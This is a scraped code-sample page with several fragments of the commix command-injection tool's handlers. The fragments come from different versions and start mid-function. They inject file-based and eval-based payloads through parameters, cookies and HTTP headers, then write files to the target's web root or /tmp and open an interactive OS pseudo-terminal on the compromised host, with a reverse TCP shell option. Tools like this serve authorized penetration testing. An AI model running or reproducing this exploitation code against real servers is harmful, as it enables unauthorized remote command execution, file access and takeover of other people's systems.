                        # File-based decision payload (check if host is vulnerable).
                        if alter_shell:
                            payload = fb_payloads.decision_alter_shell(
                                separator, TAG, OUTPUT_TEXTFILE)
                        else:
                            payload = fb_payloads.decision(
                                separator, TAG, OUTPUT_TEXTFILE)

                        # Check if defined "--prefix" option.
                        # Fix prefixes / suffixes
                        payload = parameters.prefixes(payload, prefix)
                        payload = parameters.suffixes(payload, suffix)

                        if menu.options.base64:
                            payload = base64.b64encode(payload)

                        # Check if defined "--verbose" option.
                        if menu.options.verbose:
                            print settings.INFO_SIGN + "Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
                            print Fore.GREY + settings.PAYLOAD_SIGN + payload.replace(
                                "\n", "\\n") + Style.RESET_ALL

                        # Cookie Injection
                        if settings.COOKIE_INJECTION == True:
                            # Check if target host is vulnerable to cookie injection.
                            vuln_parameter = parameters.specify_cookie_parameter(
                                menu.options.cookie)
                            response = fb_injector.cookie_injection_test(
                                url, vuln_parameter, payload)

                        # User-Agent Injection
                        elif settings.USER_AGENT_INJECTION == True:
                            # Check if target host is vulnerable to user-agent injection.
                            vuln_parameter = parameters.specify_user_agent_parameter(
                                menu.options.agent)
                            response = fb_injector.user_agent_injection_test(
                                url, vuln_parameter, payload)

                        # Referer Injection
                        elif settings.REFERER_INJECTION == True:
                            # Check if target host is vulnerable to referer injection.
                            vuln_parameter = parameters.specify_referer_parameter(
                                menu.options.referer)
                            response = fb_injector.referer_injection_test(
                                url, vuln_parameter, payload)

                        # Custom HTTP header Injection
                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            # Check if target host is vulnerable to custom http header injection.
                            vuln_parameter = parameters.specify_custom_header_parameter(
                                settings.INJECT_TAG)
                            response = fb_injector.custom_header_injection_test(
                                url, vuln_parameter, payload)

                        else:
                            # Check if target host is vulnerable.
                            response, vuln_parameter = fb_injector.injection_test(
                                payload, http_request_method, url)

                        # Find the directory.
                        output = fb_injector.injection_output(
                            url, OUTPUT_TEXTFILE, delay)
                        time.sleep(delay)

                        try:
                            # Check if defined extra headers.
                            request = urllib2.Request(output)
                            headers.do_check(request)

                            # Evaluate test results.
                            output = urllib2.urlopen(request)
                            html_data = output.read()
                            shell = re.findall(r"" + TAG + "", html_data)

                            if len(shell) != 0 and shell[
                                    0] == TAG and not menu.options.verbose:
                                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... [ " + percent + " ]")
                                sys.stdout.flush()

                            if len(shell) == 0:
                                #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                                #if menu.options.verbose:
                                #print ""
                                raise urllib2.HTTPError(
                                    url, 404, 'Error', {}, None)

                        except urllib2.HTTPError, e:
                            if e.getcode() == 404:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if call_tmp_based == True:
                                    exit_loops = True
                                    tmp_path = os.path.split(
                                        menu.options.file_dest)[0] + "/"
                                    tfb_controller(no_result, url, delay,
                                                   filename, tmp_path,
                                                   http_request_method,
                                                   url_time_response)
                                    raise

                                # Show an error message, after N failed tries.
                                # Use the "/tmp/" directory for tempfile-based technique.
                                elif i == settings.FAILED_TRIES and no_result == True:
                                    warning_msg = settings.WARNING_SIGN + "It seems that you don't have permissions to "
                                    warning_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
                                    sys.stdout.write("\r" + Fore.YELLOW +
                                                     warning_msg +
                                                     Style.RESET_ALL)
                                    print ""
                                    while True:
                                        tmp_upload = raw_input(
                                            settings.QUESTION_SIGN +
                                            "Do you want to try the temporary directory ("
                                            + tmp_path +
                                            ") [Y/n/q] > ").lower()
                                        if tmp_upload in settings.CHOICE_YES:
                                            exit_loops = True
                                            call_tfb = tfb_controller(
                                                no_result, url, delay,
                                                filename, tmp_path,
                                                http_request_method,
                                                url_time_response)
                                            if call_tfb != False:
                                                return True
                                            else:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                        elif tmp_upload in settings.CHOICE_NO:
                                            break
                                        elif tmp_upload in settings.CHOICE_QUIT:
                                            print ""
                                            raise
                                        else:
                                            if tmp_upload == "":
                                                tmp_upload = "enter"
                                            print Back.RED + settings.ERROR_SIGN + "'" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                            pass
                                    continue

                                else:
                                    if exit_loops == False:
                                        if not menu.options.verbose:
                                            if str(float_percent) == "100.0":
                                                if no_result == True:
                                                    percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                                else:
                                                    percent = str(
                                                        float_percent) + "%"
                                            else:
                                                percent = str(
                                                    float_percent) + "%"

                                            sys.stdout.write(
                                                "\r" + settings.INFO_SIGN +
                                                "Testing the " + technique +
                                                "... [ " + percent + " ]")
                                            sys.stdout.flush()
                                            continue
                                        else:
                                            continue
                                    else:
                                        raise

                            elif e.getcode() == 401:
                                print Back.RED + settings.ERROR_SIGN + "Authorization required!" + Style.RESET_ALL + "\n"
                                sys.exit(0)

                            elif e.getcode() == 403:
                                print Back.RED + settings.ERROR_SIGN + "You don't have permission to access this page." + Style.RESET_ALL + "\n"
                                sys.exit(0)

                    except KeyboardInterrupt:
                        # Delete previous shell (text) files (output)
                        delete_previous_shell(separator, payload, TAG, prefix,
                                              suffix, http_request_method, url,
                                              vuln_parameter, OUTPUT_TEXTFILE,
                                              alter_shell, filename)
                        raise

                    except SystemExit:
                        if 'vuln_parameter' in locals():
                            # Delete previous shell (text) files (output)
                            delete_previous_shell(separator, payload, TAG,
                                                  prefix, suffix,
                                                  http_request_method, url,
                                                  vuln_parameter,
                                                  OUTPUT_TEXTFILE, alter_shell,
                                                  filename)
                        raise

                    except urllib2.URLError, e:
                        warning_msg = settings.WARNING_SIGN + "It seems that you don't have permissions to "
                        warning_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
                        sys.stdout.write("\r" + Fore.YELLOW + warning_msg +
                                         Style.RESET_ALL)
                        print ""
                        # Provide custom server's root directory.
                        custom_srv_root_dir()
                        continue

                    except:
                        raise
示例#13
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
    settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:

      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass

      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not settings.LOAD_SESSION or settings.RETEST == True: 
      info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
      print settings.print_info_msg(info_msg)

  i = 0
  TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            OUTPUT_TEXTFILE = TAG + ".txt"
            if technique == "tempfile-based injection technique":
              #settings.LOAD_SESSION = True
              tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
              time.sleep(delay)
              
              try:
                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)
                
                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # if settings.VERBOSITY_LEVEL >= 1:
                  #   print ""
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                  if e.getcode() == 404:
                    percent = ((i*100)/total)
                    float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                    if call_tmp_based == True:
                      exit_loops = True
                      tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                      tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      raise
                      
                    # Show an error message, after N failed tries.
                    # Use the "/tmp/" directory for tempfile-based technique.
                    elif i == settings.FAILED_TRIES and no_result == True :
                      warn_msg = "It seems that you don't have permissions to "
                      warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."  
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      print ""
                      while True:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                        if tmp_upload in settings.CHOICE_YES:
                          exit_loops = True
                          settings.TEMPFILE_BASED_STATE = True
                          call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                          if call_tfb != False:
                            return True
                          else:
                            if no_result == True:
                              return False
                            else:
                              return True
                        elif tmp_upload in settings.CHOICE_NO:
                          break
                        elif tmp_upload in settings.CHOICE_QUIT:
                          print ""
                          raise
                        else:
                          if tmp_upload == "":
                            tmp_upload = "enter"
                          err_msg = "'" + tmp_upload + "' is not a valid answer."  
                          print settings.print_error_msg(err_msg)
                          pass
                      continue
                    
                    else:
                      if exit_loops == False:
                        if not settings.VERBOSITY_LEVEL >= 1:
                          if str(float_percent) == "100.0":
                            if no_result == True:
                              percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                              percent = str(float_percent)+ "%"
                          else:
                            percent = str(float_percent)+ "%"

                          info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          continue
                        else:
                          continue
                      else:
                        raise
                    
                  elif e.getcode() == 401:
                    err_msg = "Authorization required!"
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
                    
                  elif e.getcode() == 403:
                    err_msg = "You don't have permission to access this page."
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
              
            except KeyboardInterrupt:
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e:
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              print ""
              # Provide custom server's root directory.
              custom_srv_root_dir()
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again  = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
              fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              #print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
                if settings.VERBOSITY_LEVEL >= 1:
                  print ""
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                if settings.VERBOSITY_LEVEL >= 1:
                  print "\n"
                if go_back == True:
                  break
                question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                gotshell = sys.stdin.readline().replace("\n","").lower()
                if gotshell in settings.CHOICE_YES:
                  print ""
                  print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                  if readline_error:
                    checks.no_readline_module()
                  while True:
                    # Tab compliter
                    if not readline_error:
                      readline.set_completer(menu.tab_completer)
                      # MacOSX tab compliter
                      if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
                        readline.parse_and_bind("bind ^I rl_complete")
                      # Unix tab compliter
                      else:
                        readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    # if settings.VERBOSITY_LEVEL >= 1:
                    #   print ""
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        return False
                      elif os_shell_option == "quit": 
                        # Delete previous shell (text) files (output)
                        delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)         
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                          warn_msg = "You are already into an 'os_shell' mode."
                          print settings.print_warning_msg(warn_msg)+ "\n"
                      elif os_shell_option == "reverse_tcp":
                        settings.REVERSE_TCP = True
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        reverse_tcp.configure_reverse_tcp()
                        if settings.REVERSE_TCP == False:
                          continue
                        while True:
                          if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(settings.LHOST)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options()
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              settings.REVERSE_TCP = False
                              break
                          # Command execution results.
                          response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                          # Command execution results.
                          shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          err_msg = "The reverse TCP connection has been failed!"
                          print settings.print_critical_msg(err_msg)
                      else:
                        pass
                    else:
                      response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                      if menu.options.ignore_session or \
                         session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                        # Command execution results.
                        shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, delay)
                        shell = "".join(str(p) for p in shell)
                        if not menu.options.ignore_session :
                          session_handler.store_cmd(url, cmd, shell, vuln_parameter)
                      else:
                        shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
                      if shell:
                        if shell != "":
                          if settings.VERBOSITY_LEVEL >= 1:
                            print ""
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"

                      if not shell or shell == "":
                        if settings.VERBOSITY_LEVEL >= 1:
                          print ""
                        err_msg = "The '" + cmd + "' command, does not return any output."
                        print settings.print_critical_msg(err_msg) + "\n"

                elif gotshell in settings.CHOICE_NO:
                  if checks.next_attack_vector(technique, go_back) == True:
                    break
                  else:
                    if no_result == True:
                      return False 
                    else:
                      return True  

                elif gotshell in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)

                else:
                  if gotshell == "":
                    gotshell = "enter"
                  err_msg = "'" + gotshell + "' is not a valid answer."  
                  print settings.print_error_msg(err_msg)
                  pass
              
            except KeyboardInterrupt: 
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise
示例#14
0
def eb_injection_handler(url, timesec, filename, http_request_method):
  shell = False
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "results-based dynamic code evaluation"
  technique = "dynamic code evaluation technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  if not settings.LOAD_SESSION:
    url = eb_injector.warning_detection(url, http_request_method)
    info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()
    if settings.VERBOSITY_LEVEL >= 1:
      print("")
          
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:
          if whitespace == " ":
            whitespace = _urllib.parse.quote(whitespace) 
          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique, injection_type):
            try:
              settings.EVAL_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print(settings.print_critical_msg(err_msg))
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = _urllib.parse.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + _urllib.parse.quote(")}") in payload:
                payload = payload.replace(")%3B" + _urllib.parse.quote(")}"), ")" + _urllib.parse.quote(")}"))
                #payload = payload + TAG + ""

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)
              
              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              if not settings.TAMPER_SCRIPTS['base64encode'] and \
                   not settings.TAMPER_SCRIPTS['hexencode']:
                payload = payload.replace(" ", "%20")

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                print(settings.print_payload(payload))
